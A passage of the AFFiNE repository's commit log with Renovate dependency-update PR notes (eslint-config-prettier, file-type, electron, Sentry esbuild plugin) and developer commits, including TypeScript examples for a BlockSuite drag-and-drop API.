##### Version 2.6.0 (2017-09-23)

-   Added: The [no-floating-decimal] rule.

##### Version 2.5.0 (2017-09-16)

-   Added: Support for [eslint-plugin-standard]. Thanks to Christian Pekeler ([@&#8203;pekeler](https://redirect.github.com/pekeler))!

##### Version 2.4.0 (2017-09-02)

-   Added: The [function-paren-newline] rule (new in [ESLint 4.6.0]). Thanks to Pierre Vanduynslager ([@&#8203;vanduynslagerp](https://redirect.github.com/vanduynslagerp))!

##### Version 2.3.0 (2017-06-30)

-   Added: The (deprecated) [indent-legacy] rule. Thanks to M. Ian Graham ([@&#8203;miangraham](https://redirect.github.com/miangraham))!

##### Version 2.2.0 (2017-06-17)

-   Added: New rules from [ESLint 4.0.0]:
    -   [array-element-newline]
    -   [array-bracket-newline]
    -   [semi-style]
    -   [switch-colon-spacing]
-   Added: [react/jsx-closing-tag-location]

##### Version 2.1.1 (2017-05-20)

-   No code changes. Just updates to the readme.

##### Version 2.1.0 (2017-05-13)

-   Added: The [no-tabs] rule (as a [special rule][no-tabs-special]). Thanks to Alex Meah ([@&#8203;AlexMeah](https://redirect.github.com/AlexMeah))!

##### Version 2.0.0 (2017-05-07)

-   Changed/Improved: The CLI helper tool is now more helpful.

    -   The options of special rules are now validated if possible. If a special rule is enabled with non-conflicting options, the CLI no longer warns about it.
    -   If only special rules that cannot be automatically checked are found, the CLI no longer exists with a non-zero exit code. Instead, it only warns about the rules.

-   Changed: The [no-confusing-arrow] is now a special rule again, since it might conflict with recent Prettier versions.

-   Removed: The `react/wrap-multilines` rule (which has been deprecated for a while), since it was removed in eslint-plugin-react@7.

##### Version 1.7.0 (2017-04-19)

-   Changed: The [no-confusing-arrow] is no longer a special rule, but simply turned off, since recent Prettier versions make it redundant.
-   Improved: The CLI helper tool now has a more helpful message for special rules, and exits with a different status code if only special rules were found. The exit codes are now documented as well.

##### Version 1.6.0 (2017-04-05)

-   Added: The [curly] rule. Thanks to Martin Rädlinger ([@&#8203;formatlos](https://redirect.github.com/formatlos))!

##### Version 1.5.0 (2017-03-04)

-   Added: The [nonblock-statement-body-position] rule.

##### Version 1.4.1 (2017-02-28)

-   Improved: eslint-config-prettier is now part of the [prettier] organization! This version updates all URLs to point to the new home of the project.

##### Version 1.4.0 (2017-02-26)

-   Added: The [no-confusing-arrow] rule (as a [special rule][no-confusing-arrow-special]). Thanks to Dominik Ferber ([@&#8203;dferber90](https://redirect.github.com/dferber90))!
-   Added: Deprecated or removed rules that might conflict with prettier. Thanks to Dominik Ferber ([@&#8203;dferber90](https://redirect.github.com/dferber90))!

##### Version 1.3.0 (2017-02-21)

-   Added: The [template-tag-spacing] rule. Thanks to Thibault Derousseaux ([@&#8203;tibdex](https://redirect.github.com/tibdex))!

##### Version 1.2.0 (2017-02-14)

-   Added: The [one-var-declaration-per-line] rule. Thanks to Ruben Oostinga ([@&#8203;0xR](https://redirect.github.com/0xR))!

##### Version 1.1.1 (2017-02-12)

-   Minor documentation tweak: Changed "Exceptions" into "Special rules".

##### Version 1.1.0 (2017-02-10)

-   Fixed: The [eslint-plugin-react] exclusion rules now actually work.
-   Fixed: The CLI helper tool now works in Node.js 4. Thanks to Nathan Friedly ([@&#8203;nfriedly](https://redirect.github.com/nfriedly))!
-   Added: Support for [eslint-plugin-flowtype].
-   Improved: Minor things for the CLI helper tool.
-   Improved: There are now tests for everything.

##### Version 1.0.3 (2017-02-03)

-   Fixed: `"extends": "prettier/react"` now actually works.

##### Version 1.0.2 (2017-01-30)

-   Improved: CLI helper tool instructions.

##### Version 1.0.1 (2017-01-29)

-   No difference from 1.0.0. Just an `npm publish` mistake.

##### Version 1.0.0 (2017-01-29)

-   Initial release.

[@&#8203;babel/eslint-plugin]: https://redirect.github.com/babel/babel/tree/main/eslint/babel-eslint-plugin

[@&#8203;typescript-eslint/block-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/block-spacing.md

[@&#8203;typescript-eslint/brace-style]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/brace-style.md

[@&#8203;typescript-eslint/comma-dangle]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/comma-dangle.md

[@&#8203;typescript-eslint/comma-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/comma-spacing.md

[@&#8203;typescript-eslint/eslint-plugin]: https://redirect.github.com/typescript-eslint/typescript-eslint

[@&#8203;typescript-eslint/func-call-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/func-call-spacing.md

[@&#8203;typescript-eslint/key-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/key-spacing.md

[@&#8203;typescript-eslint/keyword-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/keyword-spacing.md

[@&#8203;typescript-eslint/lines-around-comment]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/lines-around-comment.md

[@&#8203;typescript-eslint/no-extra-parens]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/no-extra-parens.md

[@&#8203;typescript-eslint/no-extra-semi]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/no-extra-semi.md

[@&#8203;typescript-eslint/object-curly-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/object-curly-spacing.md

[@&#8203;typescript-eslint/quotes-special]: 857257179f/README.md (quotes)

[@&#8203;typescript-eslint/quotes]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/quotes.md

[@&#8203;typescript-eslint/semi]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/semi.md

[@&#8203;typescript-eslint/space-before-blocks]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-before-blocks.md

[@&#8203;typescript-eslint/space-before-function-paren]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-before-function-paren.md

[@&#8203;typescript-eslint/space-infix-ops]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-infix-ops.md

[array-bracket-newline]: https://eslint.org/docs/rules/array-bracket-newline

[array-element-newline]: https://eslint.org/docs/rules/array-element-newline

[arrow-body-style]: https://eslint.org/docs/rules/arrow-body-style

[arrow-special]: 2c842675e5/README.md (arrow-body-style-and-prefer-arrow-callback)

[curly]: https://eslint.org/docs/rules/curly

[deprecated-8.53.0]: https://eslint.org/blog/2023/10/deprecating-formatting-rules/

[end-of-line]: https://prettier.io/docs/en/options.html#end-of-line

[eslint 4.0.0]: https://eslint.org/blog/2017/06/eslint-v4.0.0-released

[eslint 4.6.0]: https://eslint.org/blog/2017/09/eslint-v4.6.0-released

[ESLINT_USE_FLAT_CONFIG]: https://redirect.github.com/prettier/eslint-config-prettier#eslint_use_flat_config-environment-variable

[eslint-plugin-babel]: https://redirect.github.com/babel/eslint-plugin-babel

[eslint-plugin-flowtype]: https://redirect.github.com/gajus/eslint-plugin-flowtype

[eslint-plugin-prettier]: https://redirect.github.com/prettier/eslint-plugin-prettier

[eslint-plugin-react]: https://redirect.github.com/yannickcr/eslint-plugin-react

[eslint-plugin-standard]: https://redirect.github.com/xjamundx/eslint-plugin-standard

[eslint-plugin-typescript]: https://redirect.github.com/bradzacher/eslint-plugin-typescript

[eslint-plugin-unicorn]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn

[eslint-plugin-vue]: https://redirect.github.com/vuejs/eslint-plugin-vue

[excluding deprecated rules]: 9f6b59486a (excluding-deprecated-rules)

[flowtype/boolean-style]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-boolean-style

[flowtype/object-type-curly-spacing]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-object-type-curly-spacing

[flowtype/quotes]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-quotes

[function-call-argument-newline]: https://eslint.org/docs/rules/function-call-argument-newline

[function-paren-newline]: https://eslint.org/docs/rules/function-paren-newline

[implicit-arrow-linebreak]: https://eslint.org/docs/rules/implicit-arrow-linebreak

[indent-legacy]: https://eslint.org/docs/rules/indent-legacy

[linebreak-style]: https://eslint.org/docs/rules/linebreak-style

[lines-around-comment-special]: 5399175c37/README.md (lines-around-comment)

[lines-around-comment]: https://eslint.org/docs/rules/lines-around-comment

[max-statements-per-line]: https://eslint.org/docs/latest/rules/max-statements-per-line

[no-confusing-arrow-special]: 08ac5bcc25/README.md (no-confusing-arrow)

[no-confusing-arrow]: https://eslint.org/docs/rules/no-confusing-arrow

[no-floating-decimal]: https://eslint.org/docs/rules/no-floating-decimal

[no-tabs-special]: dfa6e2b51f/README.md (no-tabs)

[no-tabs]: https://eslint.org/docs/rules/no-tabs

[no-unexpected-multiline-special]: 5399175c37/README.md (no-unexpected-multiline)

[no-unexpected-multiline]: https://eslint.org/docs/rules/no-unexpected-multiline

[nonblock-statement-body-position]: https://eslint.org/docs/rules/nonblock-statement-body-position

[one-var-declaration-per-line]: https://eslint.org/docs/rules/one-var-declaration-per-line

[plugin:prettier/recommended]: https://redirect.github.com/prettier/eslint-plugin-prettier#recommended-configuration

[prefer-arrow-callback]: https://eslint.org/docs/rules/prefer-arrow-callback

[prettier-prettier-config]: 03c79b9306 (arrow-body-style-and-prefer-arrow-callback)

[prettier-self-closing]: https://prettier.io/blog/2019/06/06/1.18.0.html#stop-converting-empty-jsx-elements-to-self-closing-elements-6127-by-duailibe

[prettier]: https://redirect.github.com/prettier

[quotes-special]: 8d264cd0a7/README.md (quotes)

[quotes]: https://eslint.org/docs/rules/quotes

[react/jsx-child-element-spacing]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-child-element-spacing.md

[react/jsx-closing-tag-location]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-closing-tag-location.md

[react/jsx-curly-newline]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-curly-newline.md

[react/jsx-newline]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-newline.md

[react/jsx-one-expression-per-line]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-one-expression-per-line.md

[react/jsx-props-no-multi-spaces]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-props-no-multi-spaces.md

[react/self-closing-comp]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/self-closing-comp.md

[semi-style]: https://eslint.org/docs/rules/semi-style

[switch-colon-spacing]: https://eslint.org/docs/rules/switch-colon-spacing

[template-tag-spacing]: https://eslint.org/docs/rules/template-tag-spacing

[unicode-bom]: https://eslint.org/docs/rules/unicode-bom

[unicorn/empty-brace-spaces]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/empty-brace-spaces.md

[unicorn/no-nested-ternary]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/no-nested-ternary.md

[unicorn/template-indent-special]: 4110dff0c5/README.md (unicorntemplate-indent)

[unicorn/template-indent]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/template-indent.md

[vue/array-element-newline]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/array-element-newline.md

[vue/arrow-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/arrow-spacing.md

[vue/block-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/block-spacing.md

[vue/brace-style]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/brace-style.md

[vue/comma-dangle]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/comma-dangle.md

[vue/dot-location]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/dot-location.md

[vue/html-self-closing-special]: d5e7af9862/README.md (vuehtml-self-closing)

[vue/html-self-closing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/html-self-closing.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/array-bracket-newline.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/block-tag-newline.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/keyword-spacing.md

[vue/max-len]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/max-len.md

[vue/multiline-ternary]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/multiline-ternary.md

[vue/quote-props]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/quote-props.md

### [`v10.0.0`](https://redirect.github.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#1000)

[Compare Source](https://redirect.github.com/prettier/eslint-config-prettier/compare/v9.1.0...v10.0.0)

##### Major Changes

-   [#&#8203;272](https://redirect.github.com/prettier/eslint-config-prettier/pull/272) [`5be64be`](5be64bef68) Thanks [@&#8203;abrahamguo](https://redirect.github.com/abrahamguo)! - add support for [@&#8203;stylistic](https://redirect.github.com/stylistic) formatting rules

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-17 05:23:03 +00:00
doouding
b350dd1580 fix: legacy e2e test debug (#9746) 2025-01-17 04:26:59 +00:00
EYHN
ca9c94861a refactor(core): adjust merbers module apis (#9695) 2025-01-17 02:50:02 +00:00
forehalo
64335b9e0c feat(server): add model base (#9734) 2025-01-17 02:03:53 +00:00
L-Sun
c2149f218b refactor(editor): enable toc dragging in page mode (#9736)
Related [BS-2322](https://linear.app/affine-design/issue/BS-2322/toc-排序坏掉部分的修复)
2025-01-16 17:53:28 +00:00
EYHN
a2ffdb4047 feat(core): new worker workspace engine (#9257) 2025-01-16 16:22:18 +00:00
pengx17
7dc470e7ea feat(core): add new bs dnd adapter (#9717) 2025-01-16 13:54:50 +00:00
doouding
99717196c5 refactor: rewrite blocksuite dnd (#9595)
### Changed

- Refactored BlockSuite drag-and-drop using @atlaskit/pragmatic-drag-and-drop/element/adapter.
- Updated block dragging to use the new drag-and-drop infrastructure.

### BlockSuite DND API

Access the BlockSuite drag-and-drop API via `std.dnd`. This is a lightweight wrapper around pragmatic-drag-and-drop, offering convenient generic types and more intuitive option names.

#### Drag payload structure
There's some constrain about drag payload. The whole drag payload looks like this:

```typescript
type DragPayload = {
  entity: {
    type: string
  },
  from: {
    at: 'blocksuite',
    docId: string
  }
}
```
- The `from` field is auto-generated—no need for manual handling.
- The `entity` field is customizable, but it must include a `type`.

All drag-and-drop methods accept a generic type for entity, ensuring more accurate payloads in event handlers.

```typescript
type BlockEntity = {
  type: 'blocks',
  blockIds: string[]
}

dnd.draggable<BlockEntity>({
  element: someElement,
  setDragData: () => {
    // the return type must satisfy the generic type
    // in this case, it's BlockEntity
    return {
      type: 'blocks',
      blockIds: []
    }
  }
});

dnd.monitor<BlockEntity>({
  // the arguments is same for other event handler
  onDrag({ source }) {
    // the type of this is BlockEntity
    source.data.entity
  }
})
```

#### Drop payload
When hover on droppable target. You can set drop payload as well. All drag-and-drop methods accept a second generic type for drop payload.

The drop payload is customizable. Additionally, the DND system will add an `edge` field to the final payload object, indicating the nearest edge of the drop target relative to the current drag position.

```typescript
type DropPayload = {
  blockId: string;
}

dnd.dropTarget<BlockEntity, DropPayload>({
  getData() {
    // the type should be DropPayload
    return {
      blockId: 'someId'
    }
  }
});

dnd.monitor<BlockEntity, DropPayload>({
  // drag over on drop target
  onDrag({ location }) {
    const target = location.current.dropTargets[0];

    // the type is DropPayload
    target.data;
    // retrieve the nearest edge of the drop target relative to the current drop position.
    target.data.edge;
  }
})
```
2025-01-16 12:36:58 +00:00
liuyi
3828144849 fix(server): disable checksum check for r2 storage when using aws-s3 sdk (#9735) 2025-01-16 11:47:50 +00:00
renovate
908afe19ee chore: bump up file-type version to v20 (#9731)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [file-type](https://redirect.github.com/sindresorhus/file-type) | [`^19.6.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [file-type](https://redirect.github.com/sindresorhus/file-type) | [`^19.5.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>sindresorhus/file-type (file-type)</summary>

### [`v20.0.0`](https://redirect.github.com/sindresorhus/file-type/releases/tag/v20.0.0)

[Compare Source](https://redirect.github.com/sindresorhus/file-type/compare/v19.6.0...v20.0.0)

##### Breaking

-   Drop MIME-type and extension enumeration in types ([#&#8203;693](https://redirect.github.com/sindresorhus/file-type/issues/693))  [`0ff11c6`](https://redirect.github.com/sindresorhus/file-type/commit/0ff11c6)
-   Remove `NodeFileTypeParser` in favor of using `FileTypeParser` on all platforms ([#&#8203;707](https://redirect.github.com/sindresorhus/file-type/issues/707))  [`ff8eed8`](https://redirect.github.com/sindresorhus/file-type/commit/ff8eed8)

##### Improvements

-   Give API access to `FileTypeParser#detectors` ([#&#8203;704](https://redirect.github.com/sindresorhus/file-type/issues/704))  [`7e72bbc`](https://redirect.github.com/sindresorhus/file-type/commit/7e72bbc)
-   Improve Nikon RAW NEF (Tiff) format detection ([#&#8203;670](https://redirect.github.com/sindresorhus/file-type/issues/670))  [`cf6fc1e`](https://redirect.github.com/sindresorhus/file-type/commit/cf6fc1e)
-   Add support for Java archive (`.jar`) ([#&#8203;719](https://redirect.github.com/sindresorhus/file-type/issues/719))  [`8651809`](https://redirect.github.com/sindresorhus/file-type/commit/8651809)
-   Add support for MSOffice macro-enabled docs and templates ([#&#8203;720](https://redirect.github.com/sindresorhus/file-type/issues/720))  [`7fe5667`](https://redirect.github.com/sindresorhus/file-type/commit/7fe5667)
-   Add support for OpenDocument graphics and templates ([#&#8203;718](https://redirect.github.com/sindresorhus/file-type/issues/718))  [`4db407d`](https://redirect.github.com/sindresorhus/file-type/commit/4db407d)
-   Add support for Microsoft Excel template with macros (.xltm) ([#&#8203;714](https://redirect.github.com/sindresorhus/file-type/issues/714))  [`1fe621a`](https://redirect.github.com/sindresorhus/file-type/commit/1fe621a)
-   Add support for Microsoft Word template (.dotx) ([#&#8203;713](https://redirect.github.com/sindresorhus/file-type/issues/713))  [`643ef78`](https://redirect.github.com/sindresorhus/file-type/commit/643ef78)
-   Add support for Microsoft Excel template (`.xltx`) ([#&#8203;712](https://redirect.github.com/sindresorhus/file-type/issues/712))  [`0dab3e0`](https://redirect.github.com/sindresorhus/file-type/commit/0dab3e0)
-   Add support for Microsoft PowerPoint template ( `.potx`) ([#&#8203;710](https://redirect.github.com/sindresorhus/file-type/issues/710))  [`f978619`](https://redirect.github.com/sindresorhus/file-type/commit/f978619)
-   Add support for ZIP decompression using `@tokenizer/inflate` ([#&#8203;695](https://redirect.github.com/sindresorhus/file-type/issues/695))  [`399b0f1`](https://redirect.github.com/sindresorhus/file-type/commit/399b0f1)
-   Add support for `.lz4` file format ([#&#8203;706](https://redirect.github.com/sindresorhus/file-type/issues/706))  [`74acf94`](https://redirect.github.com/sindresorhus/file-type/commit/74acf94)
-   Add support for format `.drc`, Google's Draco 3D Data Compression ([#&#8203;702](https://redirect.github.com/sindresorhus/file-type/issues/702))  [`e99257d`](https://redirect.github.com/sindresorhus/file-type/commit/e99257d)

##### Fixes

-   Fix code sequence "File Type Box" detection ([#&#8203;705](https://redirect.github.com/sindresorhus/file-type/issues/705))  [`7d4dd8d`](https://redirect.github.com/sindresorhus/file-type/commit/7d4dd8d)

***

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 10:08:14 +00:00
renovate
9160b72d5b chore: bump up electron version to v34 (#9694)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [electron](https://redirect.github.com/electron/electron) | [`^33.3.0` -> `^34.0.0`](https://renovatebot.com/diffs/npm/electron/33.3.1/34.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.3.1/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.3.1/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>electron/electron (electron)</summary>

### [`v34.0.0`](https://redirect.github.com/electron/electron/releases/tag/v34.0.0): electron v34.0.0

[Compare Source](https://redirect.github.com/electron/electron/compare/v33.3.1...v34.0.0)

### Release Notes for v34.0.0

#### Other Changes

-   Updated Chromium to 132.0.6834.83. [#&#8203;45164](https://redirect.github.com/electron/electron/pull/45164)

#### Documentation

-   Documentation changes: [#&#8203;45189](https://redirect.github.com/electron/electron/pull/45189)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-16 09:51:15 +00:00
forehalo
1687184891 feat(server): feature model (#9709)
close CLOUD-101
2025-01-16 09:36:16 +00:00
renovate
0acd23695b chore: bump up @sentry/esbuild-plugin version to v3 (#9720)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`^2.22.7` -> `^3.0.0`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.23.0/3.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>getsentry/sentry-javascript-bundler-plugins (@&#8203;sentry/esbuild-plugin)</summary>

### [`v3.0.0`](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/blob/HEAD/CHANGELOG.md#300)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/compare/2.23.0...3.0.0)

##### Breaking Changes

-   Injected code will now use `let`, which was added in ES6 (ES2015).
    This means that ES6 is the minimum JavaScript version that the Sentry bundler plugins support.

-   Deprecated options have been removed:
    -   `deleteFilesAfterUpload` - Use `filesToDeleteAfterUpload` instead
    -   `bundleSizeOptimizations.excludePerformanceMonitoring` - Use `bundleSizeOptimizations.excludeTracing` instead
    -   `_experiments.moduleMetadata` - Use `moduleMetadata` instead
    -   `cleanArtifacts` - Did not do anything

##### List of Changes

-   fix!: Wrap injected code in block-statement to contain scope ([#&#8203;646](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/646))
-   chore!: Remove deprecated options ([#&#8203;654](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/654))
-   feat(logger): Use console methods respective to log level ([#&#8203;652](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/652))
-   fix(webpack): Ensure process exits when done ([#&#8203;653](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/653))
-   fix: Use correct replacement matcher for `bundleSizeOptimizations.excludeTracing` ([#&#8203;644](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/644))

Work in this release contributed by [@&#8203;jdelStrother](https://redirect.github.com/jdelStrother). Thank you for your contribution!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 09:20:13 +00:00
fundon
268e89911a perf(editor): fix autoUpdate being continuously added when updating selections (#9727)
Since `updated` is triggered every time click or update the selection, `autoUpdate` will be continuously added.

Case: select text and `Shift+ArrowLeft/ArrowRight`
2025-01-16 09:05:10 +00:00
akumatus
562e358dac fix(core): downward arrow is visible when message panel is not scrollable (#9670)
Fix issue [AF-2056](https://linear.app/affine-design/issue/AF-2056).

### What changed?
- Check both `showDownIndicator` and `filteredItems.length` when rendering `DownArrowIcon`.
- Use `scrollIntoView` instead of `scrollToEnd` during AI result transmission.

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/9810856c-04fe-4381-8a9b-a87a0d8931d6.png)
2025-01-16 08:49:10 +00:00
L-Sun
969ac30874 fix(editor): reactive heading icon (#9729)
Close [BS-2407](https://linear.app/affine-design/issue/BS-2407/[bug]-edgeless-里选中-title-后更改,hint-没有改变)
